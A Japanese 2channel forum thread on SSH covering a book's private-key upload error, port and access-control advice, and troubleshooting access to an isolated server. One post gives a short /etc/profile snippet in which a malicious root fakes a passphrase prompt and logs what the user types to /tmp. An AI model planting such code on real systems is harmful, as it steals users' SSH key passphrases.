SSH その8

2014/04/25(金) 18:50:57.67
SSHに関する情報交換のスレッドです。
FAQ、リンク集は >>2-5 あたり。

■前スレ
SSH その7
http://toro.2ch.net/test/read.cgi/unix/1266323017/

■過去スレ
その6 http://pc12.2ch.net/test/read.cgi/unix/1202782840/
その5 http://pc11.2ch.net/test/read.cgi/unix/1145484540/
その4 http://pc8.2ch.net/test/read.cgi/unix/1102242908/
その3 http://pc5.2ch.net/unix/kako/1058/10582/1058202104.html
その2 http://pc.2ch.net/unix/kako/1028/10281/1028157825.html
その1 http://pc.2ch.net/unix/kako/976/976497035.html
2014/12/04(木) 10:55:15.15
間違った記述すると、瞬殺で特定されるとかgoogleさん怖すぎ。
2014/12/05(金) 00:16:32.57
>>165
161は160に死ねと言ってるのに162は作者に死ねといったと解釈した。
よって160＝162＝作者(というか筆者、川本)でなければ矛盾が生じるため、
「あの本以外から一切の情報を仕入れなかった被害者」である可能性を考慮する必要はない。
2014/12/05(金) 02:41:18.78
>>169
著者に「死ねば」と言ったのは 159
2014/12/05(金) 08:28:31.97
>>170
>>159は(川本かもしれない)>>158に「死ねば」と言った。
>>158が筆者であると断定できるのは>>158だけであるが、
お前は断定している。ゆえにお前が>>158であり川本本人。
2014/12/05(金) 08:46:18.64
で、お前はこのスレで川本死ね川本死ねと呪詛を吐くだけで
他に被害者が出ないようになんとかしようという気は全く無いわけだ
>>167にある連絡先にクレームはちゃんとつけたのか？
2014/12/05(金) 10:48:45.50
>>172
当たり前だ。タダでデバッグしてやる義理は無い。
2014/12/05(金) 15:58:44.63
読者を危険に晒した！というほどのおおげさなことなん？

chmod 600してるからremotehostが共用だとしても本人以外の一般ユーザーからは見れないはずだし、
rootが信頼できないならsshすること自体が危ないわけだし。

scpしてchmodする直前のスキをつくというのはナシね。

物理的にハードディスクが強奪されるかrootアカウントがクラックされるかして、さらにパスフレーズのオフライン解析なんて、そこまでして狙われる初心者ってそんなにいるとも思えない。
2014/12/05(金) 17:09:10.53
>>174
> rootが信頼できないならsshすること自体が危ないわけだし。

そうなの? どんな危険性が?
2014/12/05(金) 18:54:33.93
>>174
> rootが信頼できないならsshすること自体が危ないわけだし。
別のサーバーも同じキーペアで認証してたら何が起こるか考えてみたまえ。
2014/12/05(金) 19:50:35.81
>>175
キーロガー入りのログインシェルやカーネルに差し替えられてたらアウトじゃん？
2014/12/05(金) 22:19:24.59
>>176
いや、問題ないよね？ 秘密鍵のフォワードとかしてなければ
2014/12/05(金) 23:00:17.54
cat .ssh/id_rsa
はタイプミスだろ。かなり痛いミスだけど。

やってることは公開鍵認証のベストプラクティスとしてじゃなくて、
公開鍵認証をするには .ssh/authorized_keys に公開鍵を追記しますよ、と言うのを説明するためにやってるだけでしょ。
アルゴリズムを説明するのに擬似コードで書いてあるようなものだろ。
2014/12/05(金) 23:21:07.02
>>178
問題ないなら、お前の常用してる秘密鍵をここに貼り付けろよ。
2014/12/06(土) 00:00:58.57
>>179
まぁどいつもこいつもわかってて弄ってるだけなので……
2014/12/06(土) 00:01:43.20
>>180
ログイン先に秘密鍵おいておくとか頭煮えてるの？ おだいじにね
2014/12/06(土) 00:09:57.17
>>182
おれじゃなくて>>178に言え。痴呆症ジジイ。
2014/12/06(土) 02:42:15.93
>>174
信用出来ない鯖という前提でsshするなら問題ない。
>>175
信用出来ない鯖にsshするついでにパスワード打ち込んだりエージェント転送しちゃう馬鹿には危険。
>>176
「sshすること自体が危ない」への反論ではなくさらなる危険の指摘だと思うけど、ちょっと言葉足らずだと思う。
>>177
信用出来ない鯖に保護したい情報打ち込んだりしないのでsshに脆弱性がなければ関係無いです。
ていうか脆弱性があってもそれを突く場合に差し替えるのはシェルやカーネルじゃなくsshdだろが。
>>178
176は「sshすること自体が危ない」への反論じゃなくて、アンカー先/引用部分が不適切なだけかと。
>>179
かなり痛いミスって指摘をいやそうじゃないってごねてるバカが居るように見える。
>>180>>183
問題がないのは公開鍵を信用出来ないrootの居る鯖に置く行為の事だろ、馬鹿。


公開鍵と秘密鍵の区別がつかないとか、これも川本とか言う馬鹿のレスなのかなぁ…
2014/12/06(土) 03:02:41.76
>>177
キーロガーあろうが、渡したくない情報を入力しなければ何も問題ない。
ウェブサーバーがログ取ってるからアクセスするの危険と言ってるようなもの。そりゃクレジットカード情報送るとかなら危険。

クライアント側で何か実行とかできるのかと思った。
2014/12/06(土) 07:22:31.63
>>184
>>>180>>183
>問題がないのは公開鍵を信用出来ないrootの居る鯖に置く行為の事だろ、馬鹿。

誤読だバカ。
>>176,>>180,>>183は全部オレだ。
「sshすること自体が危ない」ではなく「rootが信頼できないなら」への指摘だ。
言いがかりをつけるなら、どっちを引用したのか良く考えてからつけることだ。
2014/12/06(土) 16:04:33.63
誤記のひとつくらいしょうがないでしょ。
いずれ正誤表くらい出るよ。

一部のミスをあげつらって不安を煽るよりも、技術者全体のsshスキル底上げのためにも、むしろひとりでも多くの初心者が一度目を通すべきと思う。
2014/12/06(土) 18:12:25.55
>>187
不安を煽るというか、秘密鍵を意図せずアップロードする行為はどう考えても普通に危ないわｗ
正誤表が出ても初心者の類がそんなん見に行くわけがないし正誤表が出ても推奨なぞできん。
2014/12/06(土) 18:25:54.91
IPAに届けた上で、技評のトップページで謝罪訂正するレベル
2014/12/06(土) 18:32:25.86
だな
初心者がWebなんぞ見れるはずが無い
2014/12/06(土) 19:15:59.16
>>188
>>189
>>190
取ったな。

鬼の首。
2014/12/06(土) 22:51:34.25
>>191
取った(殺った)というか拾った程度な感じ。
首を落とした奴を崇め奉ってる奴が居るから鬼の首みたいな扱いになってるけど、
実際の所は路肩のゴミを拾った程度の話でしか無い。さっさと捨てよう、こんなの。
2014/12/06(土) 23:13:35.29
鬼? 雑魚だよ。
2014/12/06(土) 23:57:36.44
結局、ただのやっかみかよ。
2014/12/07(日) 00:04:20.63
>>194
どこをどう読んだらそんな解釈になるんですか川本さん
2014/12/07(日) 01:02:14.05
このスレに、川本さんは何人いるんだ。
2014/12/07(日) 23:50:08.35
悪いrootが不精ならオフライン解析より/etc/profileでフィッシングする方が効率的かもね

# /etc/profile
if grep "RSA PRIVATE KEY" /home/$USER/.ssh/authorized_keys > /dev/null; then
sleep 3
echo "Connection to $HOSTNAME closed."
read -s -p "Bad passphrase, try again for /Users/$USER/.ssh/id_rsa: " passphrase
echo "$passphrase" >> /tmp/passphrase-$USER
fi
2014/12/15(月) 12:41:54.46
良記事
http://togakushi.bitbucket.org/build/html/OpenSSH_AdventCalendar2014/index.html
2014/12/16(火) 11:02:27.42
あーあ何か変な奴に粘着されたなこのスレも…
2014/12/18(木) 09:07:32.46
>>199
おはよう、川本君。IPAには届け出たかね?
2014/12/18(木) 11:35:04.54
川本が！川本が俺を殺しに来る！！
あいつのせいで俺の鍵が流出した！！！
川本許さねえ！絶対にゆるさねえええええええええええええええええええええ！！！！！！！！！１１

これぐらいキレてもいいんだよきみ
2015/04/03(金) 16:29:47.36
あけましておめでとう。
みんな、22 開けて使ってるの？
22 開いてるのがわかると root で突撃して来る .cn のバカが鬱陶しいから別ポートに変えちゃった。
2015/04/03(金) 22:17:35.30
>>202
オレもポートは変えてる。
2015/04/06(月) 09:38:02.97
fail2banしてるから22のままだなあ。
premitRootLogin noだしpassword認証も受け付けてないし。
2015/04/06(月) 13:57:05.84
22の方が便利ってわけでもないから変えてる
わざわざ余計なログ吐かせて眺める趣味もないし
2015/04/07(火) 11:27:12.23
話の流れを切って悪いが、アクセス制限について質問です。

自宅用のSSHサーバーを作ろうと思って入門書を読んでいるんだが、
TCP Wrappeによるアクセス制限とPAM認証によるアクセス制限の違いがいまいちわからない。
例えば同一LAN内からのアクセスのみを許可したい場合、

＜TCP Wrapperの場合＞/etc/hosts.denyに「sshd:all」、hosts.allowに「sshd:192.168.」
＜PAM認証の場合＞/etc/security/access.confに「-:ALL:ALL EXCEPT 192.168.」

どっちでも同じ効果が得られる気がするんだが、挙動に違いはある？
PAM認証を用いた方が細かく制御できるってだけ？
悪い接続元を弾くタイミングが違うとか？
2015/04/07(火) 16:29:56.81
>>206
素人扱いするな、そんなことは知っている、って逆切れするような人じゃないことを祈りながら書く。

tcp wrapperも PAM もsshdに内蔵されているものではない。別個に開発されたライブラリをsshdが利用している。
機能に重複があるのは、そのせい。ユーザー(サーバ管理者)が利用するものを選んで設定する。

hosts.allow、denyを使う場合と、access.confを使う場合だが、動作の違いはある。
PAMはユーザーを認証するもの、tcp wrapperはコネクションを制限するもの。
なのでtcp wrapperはコネクションの最初で効く。PAMの認証は、その後で行われる。
これはsshdに限らない話。
tsharkなどを使ってモニターすると、接続が拒否されるタイミングがわかる。

sshd(openssh)の場合はPAM以外にもユーザー認証があり(ChallengeResponseAuthentication、PasswordAuthentication、PubkeyAuthenticationなど)
そっちで認証が通ればPAMで認証されなくてもログインできる。
これはSSH始めました、の頃によくやる失敗なので、要注意。

設定ファイルの仕組みの話になるが
hosts.deny、allowにsshd:xxx と書けば、これはsshd限定だが
access.confはsshd以外も参照している可能性がある点も注意が必要。
2015/04/07(火) 18:21:18.49
>>207
正に知りたい答えでした。
この前に入門書を買ったばかりでググってもイマイチ分からなかったので、素人でも分かる説明で助かります。

ありがとうございました！
2015/04/07(火) 23:46:54.67
具体的な質問　に　的確な回答
単純明快なやりとりは見てて清清しい
いい夜をありがとう
2015/04/08(水) 01:50:50.85
>>206
OpenSSH 6.7以降だとtcpwrappers/libwrapのサポートが削除されてるから注意しとけよ
2015/04/28(火) 11:48:29.85
本日 psi.ip-colo.net からお越しになったお客様
PlcmSpIp 様、admin 様、backup 様、ftpuser 様、guest 様
manager 様、monitor 様、root 様、support 様、test 様
ubnt 様、user 様
2015/04/28(火) 13:15:39.86
もてもてだね。
213名無しさん＠お腹いっぱい。
垢版 |
2015/05/31(日) 16:59:57.64
Tera Term r2【テラターム】 - No.823
http://peace.2ch.net/test/read.cgi/unix/1225116847/823n
823 ：823：2015/05/31(日) 16:53:55.57
> バージョン4.87リリース記念age！
>
> OpenSSH 6.8に接続できなくなってパニックになったサーバー管理者の方々
> が多かったのではないでしょうか。
> ということで、この問題が修正されたものが本日公式にリリースされました
> ので、利用者はアップグレードをオススメしときます。
2015/05/31(日) 18:34:44.39
なんか懐かしい名前だ。
Windows からは Cygwin の ssh だからどうでもいい。
2015/05/31(日) 20:10:21.19
自分もputtyもteratermも捨ててcygwinの使ってるわ
2015/05/31(日) 22:32:37.52
Cygwinはなー……ということでMSYS2派
2015/05/31(日) 22:34:07.81
ログ取りはscriptとか使うの？
2015/06/03(水) 18:28:09.16
cygwinもMSYS2も、遠からず捨てる日が来るのかな
2015/06/03(水) 18:34:35.17
とっくにwindowsを捨ててる
2015/06/04(木) 05:26:26.98
とっくにwindowsを捨ててる(ｷﾘｯ
221名無しさん＠お腹いっぱい。
垢版 |
2015/06/04(木) 20:38:59.15
質問失礼致します。

scpコマンドで
「リモートサーバー」と「そことローカル接続しているサーバー」で、
ファイルのやり取りは可能でしょうか？

具体的には、旧筐体から新筐体へデータ移行を行いたいのです
ただし旧筐体はネットワークから切り離されているという状況です
2015/06/04(木) 20:51:37.76
ローカル接続とは具体的にどのように接続しているのでしょうか？
新筐体がリモートサーバーで、旧筐体が、そこ(新筐体のことでしょうか？)とローカル接続しているサーバーですか？

新筐体と旧筐体がローカルなネットワークで接続されていて
今の場所から、旧筐体にはログインできないが、
新筐体にはログインできて、新筐体から旧筐体にはログインできるのなら
新筐体と旧筐体の間でscpなりrsyncなりなんなりと使えるでしょう。

FTPのサーバー間転送みたいなことはできませんけど。
223名無しさん＠お腹いっぱい。
垢版 |
2015/06/04(木) 21:03:36.40
>>222
まさにそういう事です！

新筐体から旧筐体へはどのようにログインすればいいんでしょうか？

http://qiita.com/maximum80/items/26034cf51f1ed5ce5988
こちらなどを見たんですが、新筐体へはログイン出来ましたが、
新筐体から旧筐体へのログイン方法が分かりません
2015/06/04(木) 21:35:54.66
旧筐体にはsshでログインできてましたか？
まず新筐体にログインします。これは出来てるんですね。
シェルが使えるとします。
scpはsshと同じログイン方法なので、パスワードで入れていたのなら

scp 旧筐体のユーザー名@旧筐体のサーバー名(IPアドレスのほうが確実かも):旧筐体内でのファイル名なりディレクトリ名 新筐体のディレクトリ名

scp root@192.168.1.20:/home/ /home
こんな感じですかね
225名無しさん＠お腹いっぱい。
垢版 |
2015/06/04(木) 21:49:55.09
>>224
大変ありがとうございます。

旧筐体にはログイン出来てないです

$ ssh redadmin@192.168.1.20
とやってみたんですが、駄目でした
2015/06/04(木) 23:20:28.21
>>225
まず、ログインできるようにしないと
227名無しさん＠お腹いっぱい。
垢版 |
2015/06/04(木) 23:47:23.18
>>226
これの事でしょうか？

簡単sshログイン方法
http://qiita.com/maximum80/items/a453ed00ac96cab77f08

新筐体と旧筐体、どちらを設定すればいいんでしょう？
2015/06/05(金) 00:18:01.59
そりゃあ勿論、旧筐体にsshでログインできるようにする。
今までどうやってログインしてましたか？
229名無しさん＠お腹いっぱい。
垢版 |
2015/06/05(金) 00:24:12.21
>>228
旧筐体にはログインした事ないです

新筐体はIPアドレス・ID・パスワードでログインしました

使用したSSHクライアントソフトは
Poderosa
Tera Term
です
2015/06/05(金) 00:33:05.47
>>229
管理者権限でログインしないと設定できません。
旧筐体の管理者はどうしていますか？
旧筐体の中をあけてハードディスクを取り出したりできますか？
231名無しさん＠お腹いっぱい。
垢版 |
2015/06/05(金) 00:38:02.48
>>230
色々本当ありがとうございます。

redadminでログイン後
rootにスイッチしました

因みにこれまでのはレンタルサーバーでの話です

旧筐体がクラックされた恐れがあるとかで、ネットワークから切り離され
新筐体へのデータ移行はサポート外なので自分でやれと言われてます
232名無しさん＠お腹いっぱい。
垢版 |
2015/06/05(金) 00:40:36.82
>>230
旧筐体の管理者はどうやったら分かりますか？
2015/06/05(金) 00:54:44.94
>>231
　redadminでログイン後
どうやってログインしたのでしょうか？
　$ ssh redadmin@192.168.1.20
　とやってみたんですが、駄目でした
もう一度やってみたら出来たのですか？
234名無しさん＠お腹いっぱい。
垢版 |
2015/06/05(金) 01:08:40.42
Poderosaで
新筐体IPアドレス・ID(redadmin)・パスワード
を設定してログイン

$ su → パスワードを訊かれてrootログイン

出来たのはここまでです。

$ssh-keygen
$ vi ~/.ssh/config
$ cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
/etc/ssh/sshd_config
などをいじりましたが、旧筐体にはログイン出来ません

ssh redadmin@旧筐体のローカルIPアドレス
が旧筐体への接続コマンドだと案内されました
2015/06/05(金) 03:44:48.64
>>234
public keyは旧筐体に入れないとダメです。

ssh redadmin@旧筐体のローカルIPアドレス
でパスワードを聞かれませんか？
236名無しさん＠お腹いっぱい。
垢版 |
2015/06/05(金) 04:34:53.37
>>235
訊かれないです

Connection timed out になります。
237名無しさん＠お腹いっぱい。
垢版 |
2015/06/05(金) 07:09:11.54
>>236
ポートが22以外に設定されてるってことはないですか？
nmapを新筐体に入れてポートスキャンはできますか？
2015/06/05(金) 07:29:50.23
ネットワークから切り離されてるマシンにsshで入りたい、ってこと？
2015/06/05(金) 08:28:01.68
寝ている間になにかすごい事に…
2015/06/05(金) 09:39:27.83
>>231
データ移行はサポート範囲外でもログイン方法くらいはサポートしろよ、って言ってみ
241名無しさん＠お腹いっぱい。
垢版 |
2015/06/05(金) 11:34:54.14
すみません今起きました

>>237
どうやったら入れられますか？

>>238
そうです

>>240
旧筐体内のデータを移行するにはこの方法しかないと
けれどこの方法はナレッジがない為、サポート外で、
自己責任でと言われ、外部サイトを紹介されました

過去に同じような事例で同じ案内した実績があると行ってました
けれど上手く行った例は一軒も確認が取れてないそうです

>>239
メールでの問い合わせは回答が遅く
電話での問い合わせは、メールで回答すると言い、
電話受付終了直前にメールが届きます
全然進みません・・・
2015/06/05(金) 11:46:31.49
>>241
旧筐体が現在も稼動していて、
新筐体と同じローカルネットワークに存在して、
そのローカルネットワーク上での旧筐体のアドレスが192.168.1.20だっていうことは確かなの？
その情報はどこから入手したの？
243名無しさん＠お腹いっぱい。
垢版 |
2015/06/05(金) 11:48:59.59
>>242
確かだそうです（IPは途中で訂正がありましたが）
この情報はサーバー会社から頂きました

※192.168.1.20は数字を変えてあります
244名無しさん＠お腹いっぱい。
垢版 |
2015/06/05(金) 11:53:20.12
旧筐体のポートは22で間違いないそうです
2015/06/05(金) 11:53:41.91
>>243
その情報とこれをサポートから得ていて、
＞ssh redadmin@旧筐体のローカルIPアドレスが旧筐体への接続コマンドだと案内されました

新筐体からssh redadmin@旧筐体のローカルIPアドレスをやった結果がこれなら
＞Connection timed out になります。

繋がらんぞとサポートに言うだけだろ
246名無しさん＠お腹いっぱい。
垢版 |
2015/06/05(金) 12:00:08.12
>>245
まず最初の時点でSSHの知識がなかった為
他の手段を色々かけあいましたが、断られました

次にSSHを試してみて繋がらないので
問い合わせたところ、IPが違っていたと回答がありました

それでも繋がらないので、先程ポートを確認しましたところ
22であっているとの事でした（今再確認してもらってます）
2015/06/05(金) 12:57:23.25
新筐体にログインして
ping 旧筐体のローカルIP
をやってみて
Destination Host Unreachable
と表示されたら
ifconfig -a
ip route
ip rule
の結果を教えて
ただしifconfig -aのアドレスは置き換えて
2015/06/05(金) 12:58:53.40
結果をここに書き込むときに
IPアドレスの類は全部置き換えて
2015/06/05(金) 13:03:31.06
ローカルIPアドレスなら別にそのままでもいいんじゃね？
2015/06/05(金) 13:06:35.82
新筐体のアドレスを晒すかもしれないと思って、ねんのために
251名無しさん＠お腹いっぱい。
垢版 |
2015/06/05(金) 13:08:28.39
>>247
ありがとうございます
「Destination Host Unreachable」は表示されませんでした


PING 192.168.1.20 (192.168.1.20) 56(84) bytes of data.
64 bytes from 192.168.1.20: icmp_seq=1 ttl=64 time=0.626 ms
64 bytes from 192.168.1.20: icmp_seq=2 ttl=64 time=0.627 ms
64 bytes from 192.168.1.20: icmp_seq=3 ttl=64 time=0.633 ms
64 bytes from 192.168.1.20: icmp_seq=4 ttl=64 time=0.624 ms
64 bytes from 192.168.1.20: icmp_seq=5 ttl=64 time=0.631 ms
(中略)

--- 192.168.1.20 ping statistics ---
98 packets transmitted, 98 received, 0% packet loss, time 97059ms
rtt min/avg/max/mdev = 0.606/0.631/0.645/0.029 ms
2015/06/05(金) 15:20:39.22
もうこっちでできることはないだろう
旧筐体に触れる人じゃないと解決できない
2015/06/05(金) 15:26:15.09
クラックされてバックドアからしか入れなくされたのかもな
2015/06/05(金) 19:01:54.94
今日は、DenyHosts に引っかかる奴が一匹もいない。
255名無しさん＠お腹いっぱい。
垢版 |
2015/06/05(金) 22:41:29.34
>>252
そう思うのですが、応じてくれないのです(TT)
来週には旧筐体を回収すると言ってます・・・
2015/06/06(土) 05:46:33.41
じゃぁもう無理だな
2015/06/06(土) 06:20:38.62
レンタルサーバーのバックアップはどちらか行う契約になってたの?
自分で行う事になってたのなら、移行サポートは契約外サービス
向こうが行う契約ならば契約の履行を要求すればいい

ところで、新筐体からssh -vvv redadmin@192.168.1.20した結果見せてよ。
258名無しさん＠お腹いっぱい。
垢版 |
2015/06/06(土) 12:56:42.57
>>257
最新の規約では客側となっておりました

ssh -vvv redadmin@192.168.1.20
少々長いですが貼らして頂きます
259名無しさん＠お腹いっぱい。
垢版 |
2015/06/06(土) 12:57:56.30
OpenSSH_4.3p2, OpenSSL 0.9.8e-fips-rhel5 01 Jul 2008
debug1: Reading configuration data /root/.ssh/config
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: Applying options for *
debug2: ssh_connect: needpriv 0
debug1: Connecting to 192.168.1.20 [192.168.1.20] port 22.
debug1: Connection established.
debug1: permanently_set_uid: 0/0
debug1: identity file /root/.ssh/identity type -1
debug3: Not a RSA1 key file /root/.ssh/id_rsa.
debug2: key_type_from_name: unknown key type '-----BEGIN'
debug3: key_read: missing keytype
debug3: key_read: missing whitespace
(中略)
debug3: key_read: missing whitespace
debug2: key_type_from_name: unknown key type '-----END'
debug3: key_read: missing keytype
debug1: identity file /root/.ssh/id_rsa type 1
debug1: identity file /root/.ssh/id_dsa type -1
debug1: loaded 3 keys
debug1: Remote protocol version 1.99, remote software version OpenSSH_4.3p2
debug1: match: OpenSSH_4.3p2 pat OpenSSH*
debug1: Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_4.3
debug2: fd 3 setting O_NONBLOCK
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
debug2: kex_parse_kexinit: ssh-rsa,ssh-dss
debug2: kex_parse_kexinit: aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour128,arcfour256,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc@lysator.liu.se,aes128-ctr,aes192-ctr,aes256-ctr
260名無しさん＠お腹いっぱい。
垢版 |
2015/06/06(土) 12:58:59.06
debug2: kex_parse_kexinit: aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour128,arcfour256,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc@lysator.liu.se,aes128-ctr,aes192-ctr,aes256-ctr
debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit: none,zlib@openssh.com,zlib
debug2: kex_parse_kexinit: none,zlib@openssh.com,zlib
debug2: kex_parse_kexinit:
debug2: kex_parse_kexinit:
debug2: kex_parse_kexinit: first_kex_follows 0
debug2: kex_parse_kexinit: reserved 0
debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
debug2: kex_parse_kexinit: ssh-rsa,ssh-dss
debug2: kex_parse_kexinit: aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc@lysator.liu.se
debug2: kex_parse_kexinit: aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc@lysator.liu.se
debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit: none,zlib
debug2: kex_parse_kexinit: none,zlib
debug2: kex_parse_kexinit:
debug2: kex_parse_kexinit:
debug2: kex_parse_kexinit: first_kex_follows 0
debug2: kex_parse_kexinit: reserved 0
debug2: mac_init: found hmac-md5
debug1: kex: server->client aes128-cbc hmac-md5 none
debug2: mac_init: found hmac-md5
debug1: kex: client->server aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST(1024<1024<8192) sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP
debug2: dh_gen_key: priv key bits set: 123/256
debug2: bits set: 511/1024
debug1: SSH2_MSG_KEX_DH_GEX_INIT sent
261名無しさん＠お腹いっぱい。
垢版 |
2015/06/06(土) 13:00:26.35
debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY
debug3: check_host_in_hostfile: filename /root/.ssh/known_hosts
debug3: check_host_in_hostfile: match line 2
debug1: Host '192.168.1.20' is known and matches the RSA host key.
debug1: Found key in /root/.ssh/known_hosts:2
debug2: bits set: 514/1024
debug1: ssh_rsa_verify: signature correct
debug2: kex_derive_keys
debug2: set_newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: expecting SSH2_MSG_NEWKEYS
debug2: set_newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: SSH2_MSG_SERVICE_REQUEST sent
debug2: service_accept: ssh-userauth
debug1: SSH2_MSG_SERVICE_ACCEPT received
debug2: key: /root/.ssh/identity ((nil))
debug2: key: /root/.ssh/id_rsa (0x98eda60)
debug2: key: /root/.ssh/id_dsa ((nil))
debug1: Authentications that can continue: publickey,password,keyboard-interactive
debug3: start over, passed a different list publickey,password,keyboard-interactive
debug3: preferred gssapi-with-mic,publickey,keyboard-interactive,password
debug3: authmethod_lookup publickey
debug3: remaining preferred: keyboard-interactive,password
debug3: authmethod_is_enabled publickey
debug1: Next authentication method: publickey
debug1: Trying private key: /root/.ssh/identity
debug3: no such identity: /root/.ssh/identity
debug1: Offering public key: /root/.ssh/id_rsa
debug3: send_pubkey_test
262名無しさん＠お腹いっぱい。
垢版 |
2015/06/06(土) 13:05:16.38
debug2: we sent a publickey packet, wait for reply
debug1: Authentications that can continue: publickey,password,keyboard-interactive
debug1: Trying private key: /root/.ssh/id_dsa
debug3: no such identity: /root/.ssh/id_dsa
debug2: we did not send a packet, disable method
debug3: authmethod_lookup keyboard-interactive
debug3: remaining preferred: password
debug3: authmethod_is_enabled keyboard-interactive
debug1: Next authentication method: keyboard-interactive
debug2: userauth_kbdint
debug2: we sent a keyboard-interactive packet, wait for reply
debug1: Authentications that can continue: publickey,password,keyboard-interactive
debug3: userauth_kbdint: disable: no info_req_seen
debug2: we did not send a packet, disable method
263名無しさん＠お腹いっぱい。
垢版 |
2015/06/06(土) 13:07:12.09
debug3: authmethod_lookup password
debug3: remaining preferred:
debug3: authmethod_is_enabled password
debug1: Next authentication method: password
redadmin@192.168.1.20's password:
debug3: packet_send2: adding 48 (len 61 padlen 19 extra_pad 64)
debug2: we sent a password packet, wait for reply
debug1: Authentications that can continue: publickey,password,keyboard-interactive
Permission denied, please try again.
redadmin@192.168.1.20's password:
debug3: packet_send2: adding 48 (len 61 padlen 19 extra_pad 64)
debug2: we sent a password packet, wait for reply
Connection closed by 192.168.1.20

以上です
2015/06/06(土) 14:52:34.47
これまで旧筐体にログインしたことはないそうだけど、
(Q1)旧筐体のredadminのパスワードは分かっているのか？

debug1: Next authentication method: password
redadmin@192.168.1.20's password:
debug3: packet_send2: adding 48 (len 61 padlen 19 extra_pad 64)
debug2: we sent a password packet, wait for reply
debug1: Authentications that can continue: publickey,password,keyboard-interactive
Permission denied, please try again.
redadmin@192.168.1.20's password:
パスワードが違っているのでは？

(Q2)旧筐体にどうやってデータをアップロードしていたのか？
FTPやWebDAVなどを使っていたのなら、新筐体からポートフォワードでデータをダウンロードできるかも。
265名無しさん＠お腹いっぱい。
垢版 |
2015/06/06(土) 16:33:59.03
>>264
本当にありがとうございます。
パスワード以外の可能性はなさそうですか？

(Q2)
これまで普通に使用していたサーバーが攻撃を受けて、ネットワークから隔離されてしまったんです。
戻す事はセキュリティ上出来ないから、筐体変更が必要と言われました。
それで新筐体を用意してもらったところ、旧筐体→新筐体へのデータ移行はサポート外と言われました。

(Q1)
昨日電話で問い合わせた時は、新筐体と同じと言われましたが、怪しいです。
旧筐体のローカルIPも後日訂正されましたし。
1日1項目しか進ませてくれませんｗ

因みに昨日の進歩は「iptables設定解除」でした。
これでパスワードが訊かれる所まで辿り着けました。

週末は休みなので、運が良ければ月曜の夜にパスワードを教えて頂けるかもしれません。
2015/06/06(土) 18:25:09.33
>>265
(Q2)旧筐体にどうやってデータをアップロードしていたのか？
というのは、普通に使用していたという、その内容を聞いています。
例えばWordPressならWordPressの機能を使ってデータをダウンロードできるのではないですか？
新筐体でSSHが使えるのなら、ポートフォワード機能を使って旧筐体のWordPressにアクセスできる可能性があります。
267名無しさん＠お腹いっぱい。
垢版 |
2015/06/06(土) 19:29:15.51
>>266
FTPです。
WordPressは使ってないです。

ポートフォワード機能というのはパスワードなしでアクセス出来るんですか？
新着レスの表示
レスを投稿する

5ちゃんねるの広告が気に入らない場合は、こちらをクリックしてください。
ニューススポーツなんでも実況